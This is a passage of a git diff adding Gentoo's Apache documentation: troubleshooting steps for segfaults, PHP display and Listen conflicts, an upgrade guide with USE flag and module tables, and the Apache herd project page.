+<pre caption="An excerpt from 15_mod_layout.conf">
+&lt;IfDefine LAYOUT&gt;
+  &lt;IfModule !mod_layout.c&gt;
+    LoadModule layout_module    modules/mod_layout.so
+  &lt;/IfModule&gt;
+&lt;/IfDefine&gt;
+</pre>
+
+<p>
+The <c>IfDefine</c> block is ran when you add <c>-D LAYOUT</c> to
+<path>/etc/conf.d/apache2</path>. The <c>LAYOUT</c> is just an example.
+</p>
+
+<p>
+There are several options you can add to <c>APACHE2_OPTS</c> that are specified
+in the default configuration and well explained in
+<path>/etc/conf.d/apache2</path>.
+</p>
+
+<p>
+Documentation for all of the built-in modules can be found in the <uri 
+link="http://httpd.apache.org/docs/2.0/">Apache 2.0 documentation</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+  
+<chapter>
+<title>Apache is returning zero-length pages or segfaulting</title>
+<section>
+<body>
+
+<p>
+This happens mostly after an upgrade because binary compatibility 
+broke in APR (which may happen for a number for reasons). To fix this, you need
+to rebuild the Apache tool stack:
+</p>
+
+<pre caption="Rebuilding the Apache tool stack">
+<comment>(make sure you do these in order, it's very important!)</comment>
+
+<comment>(first, we have to remove the currently installed apache)</comment>
+# <i>emerge -aCv '=www-servers/apache-2*'</i>
+
+<comment>(then we rebuild the tool stack)</comment>
+# <i>emerge -av '=dev-libs/apr-0*' '=dev-libs/apr-util-0*'</i>
+
+<comment>(then we reinstall apache)</comment>
+# <i>emerge -av '=www-servers/apache-2*'</i>
+
+<comment>(determine any packages that depend on apache)</comment>
+$ <i>equery depends www-servers/apache</i>
+[ Searching for packages depending on www-servers/apache... ]
+dev-php/phpsysinfo-2.3-r2
+dev-php/phpsysinfo-2.1-r2
+dev-lang/php-5.2.4_p20070914-r2
+net-www/mod_layout-4.0.1a-r1
+www-servers/gorg-0.5
+
+<comment>(then rebuild any modules you have installed)</comment>
+# <i>emerge -av '=dev-lang/php-5.2.4_p20070914-r2' '=net-www/mod_layout-4.0.1.a-r1'</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Determining a buggy add-on module</title>
+<body>
+
+<p>
+If you are still having problems after following the instructions above, the 
+culprit is most likely one of your installed add-on modules.
+</p>
+
+<p>
+Start off by disabling all add-on modules and restarting Apache.
+</p>
+
+<pre caption="Disabling add-on modules">
+<comment>(edit /etc/conf.d/apache2)</comment>
+
+<comment>(before the change)</comment>
+APACHE2_OPTS="-D PHP5 -D USERDIR -D SSL"
+
+<comment>(after the change)</comment>
+APACHE2_OPTS=""
+</pre>
+
+<pre caption="Restarting Apache">
+# <i>/etc/init.d/apache2 stop</i>
+<comment>(make sure apache is completely stopped)</comment>
+# <i>ps -A</i> 
+# <i>/etc/init.d/apache2 start</i>
+</pre>
+
+<note>
+You may have to make minor changes to some places of your configuration if you 
+have added <c>Directive</c>s that these modules provide in places that don't 
+test for the module being loaded. It's recommended that <c>Directive</c>s 
+like these be placed in test containers. See any of the .conf files in 
+<path>/etc/apache2/modules.d</path> examples.
+</note>
+
+<p>
+If Apache quits segfaulting and giving blank pages, then you know for sure it
+was one of the add-on modules. To figure out which add-on modules, we add them 
+back, one at a time, completely restarting apache every time.
+</p>
+
+<p>
+When Apache stops working after adding a module back, you know that module is 
+the one that is causing problems. Sometimes, simply rebuilding the module 
+will fix the problem.
+</p>
+
+<p>
+If after rebuilding the module and restarting apache, you are still having 
+problems with Apache segfaulting or returning blank pages, you should <uri 
+link="http://bugs.gentoo.org">file a bug</uri> listing the specific version 
+and revision of the module and mention that it is segfaulting. Be sure to 
+search for already open bugs first!
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Webserver doesn't interpret PHP or CGI scripts and returns their code
+instead</title>
+<section>
+<body>
+
+<p>
+Apache sometimes appears to return the PHP or CGI code instead of running those
+scripts and returning the script output. If this happens even though the module
+is enabled in <path>/etc/conf.d/apache2</path> it's very likely to be a cache
+issue. Clearing the webbrowser cache fixes this browser side issue.
+</p>
+
+<p>
+Sometimes this problem can also be seen only when accessing the webserver using
+it's DNS name but not when accessing the webserver using its IP address. This is
+a strong indication that it's a cache issue.
+</p>
+
+<p>
+This problem can be fixed by clearing the webbrowser cache and any other
+webproxies like squid or wwwoffle.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>configure: error: changes in the environment can compromise the build</title>
+<section>
+<body>
+
+<p>
+If you get this error, then you probably have unneeded spaces in your 
+<c>CFLAGS</c> in <path>/etc/make.conf</path>. The fix is simple, remove the 
+extra spaces:
+</p>
+
+<pre caption="Example of changes to /etc/make.conf">
+<comment>(before the change)</comment>
+CFLAGS="-O2 -mcpu=pentium3 -march=pentium3  -pipe"
+
+<comment>(after the change - notice the removal of the space)</comment>
+CFLAGS="-O2 -mcpu=pentium3 -march=pentium3 -pipe"
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Address already in use: make_sock: could not bind to address 0.0.0.0:443</title>
+<section>
+<body>
+
+<p>
+This error occurs during start-up and is caused by having multiple 
+<c>Listen</c> directives in your configuration that are incompatible. To solve 
+this problem, you should grep your configuration for <c>Listen</c> and fix each
+occurrence.
+</p>
+
+<pre caption="Finding all Listen directives">
+<comment>(Make sure you are in the configuration directory)</comment>
+# <i>cd /etc/apache2/</i>
+
+<comment>(List all listen directives)</comment>
+# <i>grep Listen httpd.conf vhosts.d/*.conf modules.d/*.conf</i>
+</pre>
+
+<p>
+What you are looking for conflicts with what Apache is trying to bind to. For 
+example, if there is a <c>Listen 80</c> in <path>httpd.conf</path> and there
+is a <c>Listen 10.0.0.15:80</c> in another file, then Apache will not be able 
+to start. This is because Apache first binds to port 80 on all IP addresses 
+for the machine and then tries to bind to port 80 on IP address 10.0.0.15 
+and fails because port 80 is already in use.
+</p>
+
+<p>
+The recommended configuration is that you have a single <c>Listen 80</c> 
+(this is in the default <path>httpd.conf</path>) so that you bind to all 
+addresses by default for the standard HTTP port and then for every SSL 
+<c>VirtualHost</c> you run you create a separate absolute <c>Listen</c> 
+directive (such as <c>Listen 10.0.0.15:443</c>).
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>After upgrade to apache-2.0.54-r13 the default vhosts (SSL and non-SSL) don't work any more</title>
+<section>
+<body>
+
+<p>
+With the upgrade to apache-2.0.54-r13, two new directives were added to it 
+to fix <uri link="http://bugs.gentoo.org/show_bug.cgi?id=100624">bug 
+100624</uri>.
+</p>
+
+<p>
+The new directives are <c>-D DEFAULT_VHOST</c> to activate the default 
+virtual host and <c>-D SSL_DEFAULT_VHOST</c> to activate the default SSL 
+virtual host. Both need to be added to the <c>APACHE2_OPTS</c> variable in 
+<path>/etc/conf.d/apache2</path> if you want Apache to behave like before.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="getting-help">
+<title>Getting Help</title>
+<section>
+<body>
+
+<p>
+If none of the above was of any use to you, or if you have other questions, 
+feel free to stop by our IRC channel, <path>#gentoo-apache</path> on 
+<path>irc.freenode.net</path>. Or you may also file a bug on <uri 
+link="http://bugs.gentoo.org">Gentoo's Bugzilla</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/apache/doc/upgrading.xml b/xml/htdocs/proj/en/apache/doc/upgrading.xml
new file mode 100644
index 00000000..d39d2722
--- /dev/null
+++ b/xml/htdocs/proj/en/apache/doc/upgrading.xml
@@ -0,0 +1,785 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/apache/doc/upgrading.xml,v 1.1 2008/03/23 11:09:04 hollow Exp $ -->
+
+<guide link="/proj/en/apache/doc/upgrading.xml" lang="en">
+<title>Upgrading Apache</title>
+
+<author title="Author">
+  <mail link="vericgar@gentoo.org">Michael Stewart</mail>
+</author>
+<author title="Editor">
+  <mail link="hollow"/>
+</author>
+<author title="Editor">
+  <mail link="nightmorph"/>
+</author>
+
+<abstract>
+This document describes the procedure end-users should follow to safely 
+upgrade their apache installation.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>2.8</version>
+<date>2007-12-11</date>
+
+<chapter id="upgrade-2.2.6-r4">
+<title>Upgrading from &lt;2.2.6-r4</title>
+<section>
+<body>
+
+<p>
+The Apache ebuilds have used <path>/etc/apache2/apache2-builtin-mods</path> for
+a very long time to select the built-in modules during compile time. However,
+this behavior has several disadvantages:
+</p>
+
+<ul>
+  <li>
+    Selecting built-in modules during the initial merge is not possible
+  </li>
+  <li>
+    Portage does not know which modules have been installed. This is especially
+    annoying for binary packages.
+  </li>
+  <li>
+    Portage will try to overwrite <path>apache2-builtin-mods</path> on every
+    upgrade
+  </li>
+</ul>
+
+<p>
+To rectify this situation <path>/etc/apache2/apache2-builtin-mods</path> has
+been deprecated and migrated to the new <c>APACHE2_MODULES</c> <c>USE_EXPAND</c>
+variable. To convert your custom module selection to the new format use the
+following command:
+</p>
+
+<pre caption="Convert apache2-builtin-mods to APACHE2_MODULES">
+$ <i>echo APACHE2_MODULES=\"$(sed '/^mod_/s/mod_\(.*\)\s\+\(shared\|static\)/\1/;t n;d;:n' /etc/apache2/apache2-builtin-mods)\" >> /etc/make.conf</i>
+# <i>rm /etc/apache2/apache2-builtin-mods</i>
+
+<comment>(You can now safely upgrade apache:)</comment>
+# <i>emerge -uva '>=www-servers/apache-2.2.6-r4'</i>
+</pre>
+
+<p>
+Additionally to the new <c>APACHE2_MODULES</c> the local USE flags have been
+cleaned up:
+</p>
+
+<ul>
+  <li>
+    All MPM USE flags have been moved to the <c>APACHE2_MPMS</c>
+    <c>USE_EXPAND</c> variable
+  </li>
+  <li>
+    <c>no-suexec</c> is now <c>suexec</c>
+  </li>
+  <li>
+    <c>static-modules</c> is now <c>static</c>
+  </li>
+</ul>
+
+<p>
+For a detailed description of old and corresponding new USE flags see <uri
+link="#use-2.2.6-r4">below</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="upgrade-2.0.52-r3">
+<title>Upgrading from &lt;2.0.52-r3</title>
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+The state of Apache and its modules in Gentoo was becoming dismal. There were a
+number of problems that caused support problems and made maintaining everything
+the Apache herd is responsible for difficult:
+</p>
+
+<ul>
+  <li>
+    The configuration that came with Gentoo was dramatically different from 
+    the upstream configuration that most users expect
+  </li>
+  <li>
+    Many modules used similar code, but all did things their own way
+  </li>
+  <li>
+    Most modules weren't maintained very well - mostly because of the large
+    number of modules available
+  </li>
+  <li>Modules didn't have a configuration standard</li>
+  <li>
+    Some modules could support both versions of Apache, but the ebuilds 
+    didn't handle that
+  </li>
+  <li>
+    Choices available in Apache were not available for Gentoo users (for 
+    example MPMs)
+  </li>
+  <li>Bugs for Apache were stacking up</li>
+</ul>
+
+<p>
+This document details how to upgrade without breaking your system. If you are 
+a developer or would like to know what we changed, or how ebuilds need to be 
+modified to take advantage of our eclass, then check the <uri 
+link="/proj/en/apache/apache-developer.xml">Apache Developer Reference</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Upgrading</title>
+<body>
+
+<p>
+There have been many changes to how Apache works within Gentoo. Every package
+that is directly related to Apache needs to be updated and some things that 
+worked previously will no longer work.
+</p>
+
+<p>
+First you need to figure out what packages you need to upgrade. You can do this
+using the <c>equery</c> tool, which is part of the
+<c>app-portage/gentoolkit</c> package.
+</p>
+
+<pre caption="Finding packages to update">
+$ <i>equery depends www-servers/apache</i>
+[ Searching for packages depending on www-servers/apache... ]
+dev-db/phpmyadmin-2.5.6
+dev-php/mod_php-4.3.10
+dev-php/phpsysinfo-2.1-r2
+net-www/mod_bandwidth-2.0.5
+net-www/mod_layout-4.0.1a
+net-www/mod_mp3-0.40
+net-www/mod_random-2.0
+net-www/mod_throttle-3.1.2-r1
+www-apache/mod_ldap_userdir-1.1.4
+www-apache/mod_loopback-1.04
+www-apache/mod_watch-3.18
+www-apps/viewcvs-0.9.2_p20030430
+</pre>
+
+<impo>
+The packages you have installed may be vastly different; make sure you run this
+command for yourself.
+</impo>
+
+<warn>
+There are some modules and packages that depend on Apache that have not yet 
+been updated. Please <uri link="http://bugs.gentoo.org">search bugzilla</uri> 
+for any critical packages that you use with Apache.
+</warn>
+
+<p>
+Many webapps aren't affected in any way as most use the <c>webapp</c> eclass 
+which takes care of installing them correctly. You may want to check to see if 
+there is a new revision.
+</p>
+
+<p>
+As we have added some new USE flags, you may want to review them and add 
+appropriate lines to <path>/etc/portage/package.use</path>. See <uri 
+link="#use-2.2.6-r4">Apache supported USE flags</uri> for more details.
+</p>
+
+<pre caption="Checking USE flag settings and rebuild">
+<comment>(Check the USE flags and needed updates)</comment>
+# <i>emerge --pretend --verbose --update --newuse --deep apache subversion \
+mod_php mod_bandwidth mod_layout mod_ldap_userdir mod_loopback mod_mp3 \ 
+mod_random mod_throttle mod_watch</i>
+
+<comment>(Update the packages)</comment>
+# <i>emerge --verbose --update --newuse --deep apache subversion mod_php \
+mod_bandwidth mod_layout mod_ldap_userdir mod_loopback mod_mp3 mod_random \
+mod_throttle mod_watch</i>
+
+<comment>(It may be easier to just update world instead of the above)</comment>
+# <i>emerge --ask --verbose --update --newuse --deep world</i>
+</pre>
+
+<p>
+Now you need to reconfigure Apache and its modules. Start by using 
+<c>etc-update</c> or <c>dispatch-conf</c> to update the <path>/etc/init.d</path>
+and <path>/etc/conf.d</path> files. You will notice that your apache
+configuration files won't show up in the updates - this is because all the
+configuration files have moved.
+</p>
+
+<p>
+If you have made changes to the previous default <path>apache.conf</path>  and 
+<path>commonapache.conf</path> you will need to migrate your changes  to 
+<path>/etc/apache{|2}/httpd.conf</path>. Also configuration locations for 
+modules and virtual hosts have changed -- they are now located in 
+<path>/etc/apache2/modules.d</path> and <path>/etc/apache2/vhosts.d</path> 
+respectively.
+</p>
+
+<p>
+When you have finished migrating your changes to the new configuration file, 
+you will need to delete the old configuration files (or move them to a safe 
+place). The new <path>/etc/init.d/apache{|2}</path> checks for these files and 
+doesn't let you start apache unless you have removed them, indicating that you 
+have reconfigured apache using the new paths.
+</p>
+
+<note>
+Many modules that used to be enabled by default are now disabled. If they are 
+apache built-in modules, then uncomment the appropriate line in httpd.conf. 
+If they are external modules, check the module's .conf for <c>IfDefine</c> and 
+add the name to <path>/etc/conf.d/apache{|2}</path> to enable it.
+</note>
+
+<p>
+Now you may restart apache.
+</p>
+
+<pre caption="Restarting apache">
+# <i>/etc/init.d/apache stop</i>
+# <i>/etc/init.d/apache start</i>
+</pre>
+
+<p>
+If you run into any problems check the <uri 
+link="/doc/en/apache-troubleshooting.xml">Apache Troubleshooting Guide</uri>
+and if that doesn't solve the issue, please report it on <uri 
+link="http://bugs.gentoo.org">Gentoo Bugzilla</uri>. Be sure to include the 
+modules you have enabled and (if you are using Apache 2) what MPM USE flag you
+compiled with (if any). You may also join <path>#gentoo-apache</path> on 
+<path>irc.freenode.net</path> for support.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="use-pre-2.2.6-r4">
+<title>Supported USE flags in &lt;2.2.6-r4</title>
+<section>
+<body>
+
+
+<p>
+There are USE flags that are local to apache and its modules. Apache 
+supports several other more generic USE flags such as <c>ssl</c>, but the 
+effect they have on apache doesn't differ much from the effect is has elsewhere,
+so it's not included in this list. Run a <c>emerge --verbose --pretend 
+apache</c> to see the full listing of supported USE flags.
+</p>
+
+<table>
+<tr>
+  <th>USE flag</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti>apache2</ti>
+  <ti>
+    Should always be set if using the Apache-2.0 line, should not be set if
+    using the Apache-1.3 line. The eclass uses this to determine what version of
+    apache to depend on.
+  </ti>
+</tr>
+<tr>
+  <ti>debug</ti>
+  <ti>
+    Enables a hook that allows external modules to plug in and do something
+    after a child crashed. There are already two modules,
+    <c>mod_whatkilledus</c> and <c>mod_backtrace</c> that make use of this
+    hook.
+  </ti>
+</tr>
+<tr>
+  <ti>doc</ti>
+  <ti>
+    Install the Apache manual and configuration.
+  </ti>
+</tr>
+<tr>
+  <ti>ldap</ti>
+  <ti>
+    Install <c>mod_ldap</c> and <c>mod_auth_ldap</c>/<c>mod_authnz_ldap</c>.
+  </ti>
+</tr>
+<tr>
+  <ti>ssl</ti>
+  <ti>
+    Installs <c>mod_ssl</c>.
+  </ti>
+</tr>
+<tr>
+  <ti>mpm-itk</ti>
+  <ti>Builds the <uri link="http://mpm-itk.sesse.net/">itk</uri> MPM</ti>
+</tr>
+<tr>
+  <ti>mpm-leader</ti>
+  <ti>
+    Builds the <uri
+    link="http://httpd.apache.org/docs/2.0/mod/leader.html">leader</uri> MPM
+  </ti>
+</tr>
+<tr>
+  <ti>mpm-peruser</ti>
+  <ti>
+    Builds the <uri link="http://www.telana.com/peruser.php">peruser</uri> MPM
+  </ti>
+</tr>
+<tr>
+  <ti>mpm-prefork</ti>
+  <ti>
+    Builds the <uri	
+    link="http://httpd.apache.org/docs/2.0/mod/prefork.html">prefork</uri> 
+    MPM</ti>
+</tr>
+<tr>
+  <ti>mpm-threadpool</ti>
+  <ti>
+    Builds the <uri	
+    link="http://httpd.apache.org/docs/2.0/mod/threadpool.html">threadpool</uri>
+    MPM
+  </ti>
+</tr>
+<tr>
+  <ti>mpm-worker</ti>
+  <ti>
+    Builds the <uri
+    link="http://httpd.apache.org/docs/2.0/mod/worker.html">worker</uri> MPM
+  </ti>
+</tr>
+<tr>
+  <ti>static-modules</ti>
+  <ti>
+    Statically links the modules into the apache binary, so that a 
+    LoadModule isn't required for loading the base modules into 
+    Apache.
+  </ti>
+</tr>
+</table>
+
+<note>
+While there are many <c>mpm-*</c> USE flags, they are mutually exclusive. You
+should enable one and only one of the <c>mpm-*</c> USE flags. (If you do not
+enable one, <c>mpm-prefork</c> or <c>mpm-worker</c> will be used, depending on
+if the threads USE flag is set.)
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="use-2.2.6-r4">
+<title>Supported USE flags in 2.2.6-r4 and above</title>
+<section>
+<body>
+
+<p>
+With the advent of <c>APACHE2_MODULES</c> a general cleanup of USE flags was
+necessary. The following table lists supported USE flags for
+<c>apache-2.2.6-r4</c> and above as well as their equivalent in previous
+versions.
+</p>
+
+<table>
+<tr>
+  <th>USE flag</th>
+  <th>Old USE flag</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti>debug</ti>
+  <ti>debug</ti>
+  <ti>
+    Enables a hook that allows external modules to plug in and do something
+    after a child crashed. There are already two modules,
+    <c>mod_whatkilledus</c> and <c>mod_backtrace</c>, that make use of this
+    hook.
+  </ti>
+</tr>
+<tr>
+  <ti>doc</ti>
+  <ti>doc</ti>
+  <ti>Install the Apache manual and configuration.</ti>
+</tr>
+<tr>
+  <ti>ldap</ti>
+  <ti>ldap</ti>
+  <ti>Install <c>mod_ldap</c> and <c>mod_authnz_ldap</c></ti>
+</tr>
+<tr>
+  <ti>ssl</ti>
+  <ti>ssl</ti>
+  <ti>Installs <c>mod_ssl</c></ti>
+</tr>
+<tr>
+  <ti>static</ti>
+  <ti>static-modules</ti>
+  <ti>
+    Statically links the modules into the apache binary, so that a LoadModule
+    isn't required for loading the base modules into Apache
+  </ti>
+</tr>
+<tr>
+  <ti>suexec</ti>
+  <ti>no-suexec</ti>
+  <ti>Install <c>mod_suexec</c> and the <c>suexec</c> helper binary</ti>
+</tr>
+<tr>
+  <ti>threads</ti>
+  <ti>threads</ti>
+  <ti>Selects the default MPM if none is set in APACHE2_MPMS</ti>
+</tr>
+</table>
+
+<p>
+The following table lists supported <c>APACHE2_MPMS</c> as of
+<c>apache-2.2.6-r4</c> and their corresponding previous local USE flag.
+</p>
+
+<table>
+<tr>
+  <th>Flag</th>
+  <th>Old USE flag</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti>event</ti>
+  <ti>mpm-event</ti>
+  <ti>An experimental variant of the standard worker MPM</ti>
+</tr>
+<tr>
+  <ti>itk</ti>
+  <ti>mpm-itk</ti>
+  <ti>Allows to run each virtual host under a separate uid and gid</ti>
+</tr>
+<tr>
+  <ti>peruser</ti>
+  <ti>mpm-peruser</ti>
+  <ti>
+    Peruser is a working implementation of the perchild MPM allowing to run each
+    apache child process as its own user and group, each handling its own set of
+    virtual hosts
+  </ti>
+</tr>
+<tr>
+  <ti>prefork</ti>
+  <ti>mpm-prefork</ti>
+  <ti>Implements a non-threaded, pre-forking web server</ti>
+</tr>
+<tr>
+  <ti>worker</ti>
+  <ti>mpm-worker</ti>
+  <ti>
+    Multi-Processing Module implementing a hybrid multi-threaded multi-process
+    web server
+  </ti>
+</tr>
+</table>
+
+<p>
+The following table lists supported <c>APACHE2_MODULES</c> as of
+<c>apache-2.2.6-r4</c>.
+</p>
+
+<table>
+<tr>
+  <th>Flag</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti>actions</ti>
+  <ti>
+    Provides for executing CGI scripts based on media type or request method
+  </ti>
+</tr>
+<tr>
+  <ti>alias</ti>
+  <ti>
+    Provides for mapping different parts of the host filesystem in the
+    document tree and for URL redirection
+  </ti>
+</tr>
+<tr>
+  <ti>asis</ti>
+  <ti>Sends files that contain their own HTTP headers</ti>
+</tr>
+<tr>
+  <ti>auth_basic</ti>
+  <ti>Basic authentication</ti>
+</tr>
+<tr>
+  <ti>auth_digest</ti>
+  <ti>User authentication using MD5 Digest Authentication</ti>
+</tr>
+<tr>
+  <ti>authn_alias</ti>
+  <ti>
+    Provides the ability to create extended authentication providers based on
+    actual providers
+  </ti>
+</tr>
+<tr>
+  <ti>authn_anon</ti>
+  <ti>Allows "anonymous" user access to authenticated areas</ti>
+</tr>
+<tr>
+  <ti>authn_dbd</ti>
+  <ti>User authentication using an SQL database</ti>
+</tr>
+<tr>
+  <ti>authn_dbm</ti>
+  <ti>User authentication using DBM files</ti>
+</tr>
+<tr>
+  <ti>authn_default</ti>
+  <ti>Authentication fallback module</ti>
+</tr>
+<tr>
+  <ti>authn_file</ti>
+  <ti>User authentication using text files</ti>
+</tr>
+<tr>
+  <ti>authz_dbm</ti>
+  <ti>Group authorization using DBM files</ti>
+</tr>
+<tr>
+  <ti>authz_default</ti>
+  <ti>Authorization fallback module</ti>
+</tr>
+<tr>
+  <ti>authz_groupfile</ti>
+  <ti>Group authorization using plaintext files</ti>
+</tr>
+<tr>
+  <ti>authz_host</ti>
+  <ti>Group authorizations based on host (name or IP address)</ti>
+</tr>
+<tr>
+  <ti>authz_owner</ti>
+  <ti>Authorization based on file ownership</ti>
+</tr>
+<tr>
+  <ti>authz_user</ti>
+  <ti>User Authorization</ti>
+</tr>
+<tr>
+  <ti>autoindex</ti>
+  <ti>
+    Generates directory indexes automatically, similar to the Unix <c>ls</c>
+    command
+  </ti>
+</tr>
+<tr>
+  <ti>cache</ti>
+  <ti>Content cache keyed to URIs</ti>
+</tr>
+<tr>
+  <ti>cern_meta</ti>
+  <ti>CERN httpd metafile semantics</ti>
+</tr>
+<tr>
+  <ti>charset_lite</ti>
+  <ti>Specify character set translation or recoding</ti>
+</tr>
+<tr>
+  <ti>dav</ti>
+  <ti>Distributed Authoring and Versioning (WebDAV) functionality</ti>
+</tr>
+<tr>
+  <ti>dav_fs</ti>
+  <ti>filesystem provider for mod_dav</ti>
+</tr>
+<tr>
+  <ti>dav_lock</ti>
+  <ti>generic locking module for mod_dav</ti>
+</tr>
+<tr>
+  <ti>dbd</ti>
+  <ti>Manages SQL database connections</ti>
+</tr>
+<tr>
+  <ti>deflate</ti>
+  <ti>Compress content before it is delivered to the client</ti>
+</tr>
+<tr>
+  <ti>dir</ti>
+  <ti>
+    Provides for "trailing slash" redirects and serving directory index files
+  </ti>
+</tr>
+<tr>
+  <ti>disk_cache</ti>
+  <ti>Content cache storage manager keyed to URIs</ti>
+</tr>
+<tr>
+  <ti>dumpio</ti>
+  <ti>Dumps all I/O to error log as desired</ti>
+</tr>
+<tr>
+  <ti>env</ti>
+  <ti>Modifies the environment which is passed to CGI scripts and SSI pages</ti>
+</tr>
+<tr>
+  <ti>expires</ti>
+  <ti>
+    Generation of Expires and Cache-Control HTTP headers according to
+    user-specified criteria
+  </ti>
+</tr>
+<tr>
+  <ti>ext_filter</ti>
+  <ti>
+    Pass the response body through an external program before delivery to the
+    client
+  </ti>
+</tr>
+<tr>
+  <ti>file_cache</ti>
+  <ti>Caches a static list of files in memory</ti>
+</tr>
+<tr>
+  <ti>filter</ti>
+  <ti>Context-sensitive smart filter configuration module</ti>
+</tr>
+<tr>
+  <ti>headers</ti>
+  <ti>Customization of HTTP request and response headers</ti>
+</tr>
+<tr>
+  <ti>ident</ti>
+  <ti>RFC 1413 ident lookups</ti>
+</tr>
+<tr>
+  <ti>imagemap</ti>
+  <ti>Server-side imagemap processing</ti>
+</tr>
+<tr>
+  <ti>include</ti>
+  <ti>Server-parsed html documents (Server Side Includes)</ti>
+</tr>
+<tr>
+  <ti>info</ti>
+  <ti>Provides a comprehensive overview of the server configuration</ti>
+</tr>
+<tr>
+  <ti>log_config</ti>
+  <ti>Logging of the requests made to the server</ti>
+</tr>
+<tr>
+  <ti>log_forensic</ti>
+  <ti>Forensic Logging of the requests made to the server</ti>
+</tr>
+<tr>
+  <ti>logio</ti>
+  <ti>Logging of input and output bytes per request</ti>
+</tr>
+<tr>
+  <ti>mem_cache</ti>
+  <ti>Content cache keyed to URIs</ti>
+</tr>
+<tr>
+  <ti>mime</ti>
+  <ti>
+    Associates the requested filename's extensions with the file's behavior
+    (handlers and filters) and content (mime-type, language, character set and
+    encoding)
+  </ti>
+</tr>
+<tr>
+  <ti>mime_magic</ti>
+  <ti>
+    Determines the MIME type of a file by looking at a few bytes of its
+    contents
+  </ti>
+</tr>
+<tr>
+  <ti>negotiation</ti>
+  <ti>Provides for content negotiation</ti>
+</tr>
+<tr>
+  <ti>proxy</ti>
+  <ti>HTTP/1.1 proxy/gateway server</ti>
+</tr>
+<tr>
+  <ti>proxy_ajp</ti>
+  <ti>AJP support module for mod_proxy</ti>
+</tr>
+<tr>
+  <ti>proxy_balancer</ti>
+  <ti>mod_proxy extension for load balancing</ti>
+</tr>
+<tr>
+  <ti>proxy_connect</ti>
+  <ti>mod_proxy extension for CONNECT request handling</ti>
+</tr>
+<tr>
+  <ti>proxy_ftp</ti>
+  <ti>FTP support module for mod_proxy</ti>
+</tr>
+<tr>
+  <ti>proxy_http</ti>
+  <ti>HTTP support module for mod_proxy</ti>
+</tr>
+<tr>
+  <ti>rewrite</ti>
+  <ti>
+    Provides a rule-based rewriting engine to rewrite requested URLs on the fly
+  </ti>
+</tr>
+<tr>
+  <ti>setenvif</ti>
+  <ti>
+    Allows the setting of environment variables based on characteristics of the
+    request
+  </ti>
+</tr>
+<tr>
+  <ti>speling</ti>
+  <ti>
+    Attempts to correct mistaken URLs that users might have entered by
+    ignoring capitalization and by allowing up to one misspelling
+  </ti>
+</tr>
+<tr>
+  <ti>status</ti>
+  <ti>Provides information on server activity and performance</ti>
+</tr>
+<tr>
+  <ti>unique_id</ti>
+  <ti>
+    Provides an environment variable with a unique identifier for each request
+  </ti>
+</tr>
+<tr>
+  <ti>userdir</ti>
+  <ti>User-specific directories</ti>
+</tr>
+<tr>
+  <ti>usertrack</ti>
+  <ti>Clickstream logging of user activity on a site</ti>
+</tr>
+<tr>
+  <ti>version</ti>
+  <ti>Version dependent configuration</ti>
+</tr>
+<tr>
+  <ti>vhost_alias</ti>
+  <ti>Provides for dynamically configured mass virtual hosting</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/apache/index.xml b/xml/htdocs/proj/en/apache/index.xml
new file mode 100644
index 00000000..ce91b40c
--- /dev/null
+++ b/xml/htdocs/proj/en/apache/index.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>Apache</name>
+<longname>Apache herd</longname>
+<date>2008-03-02</date>
+
+<description>
+The Apache herd maintains the Apache httpd server, an eclass to use the Apache
+build infrastructure, and many of its modules.
+</description>
+
+<longdescription>
+
+<p>
+The Apache herd is responsible for maintaining the Apache httpd server in
+Gentoo, and many of its modules. We also maintain a build infrastructure so that
+other modules may be easily added in a standard way to Apache.
+</p>
+
+<note>
+We do not maintain any of the other <uri
+link="http://www.apache.org/">apache.org</uri> projects. Check the metadata.xml
+of those packages for the correct maintainer.
+</note>
+
+</longdescription>
+
+<!-- developers: add yourself -->
+<dev role="Lead">Hollow</dev>
+
+<!-- links to documentation -->
+<resource link="doc/upgrading.xml">Upgrading Apache</resource>
+<resource link="doc/troubleshooting.xml">Troubleshooting Apache</resource>
+<resource link="doc/developer.xml">Developer Documentation</resource>
+<resource link="doc/depend.apache.eclass.xml">depend.apache.eclass Documentation</resource>
+<resource link="doc/apache-module.eclass.xml">apache-module.eclass Documentation</resource>
+<resource link="doc/apache-2.eclass.xml">apache-2.eclass Documentation</resource>
+
+<!-- herds -->
+<herd name="apache" />
+
+</project>
diff --git a/xml/htdocs/proj/en/base/alpha/AT/index.xml b/xml/htdocs/proj/en/base/alpha/AT/index.xml
new file mode 100644
index 00000000..9bc2f85f
--- /dev/null
+++ b/xml/htdocs/proj/en/base/alpha/AT/index.xml
@@ -0,0 +1,272 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/alpha/AT/index.xml,v 1.10 2010/06/24 16:58:12 armin76 Exp $ -->
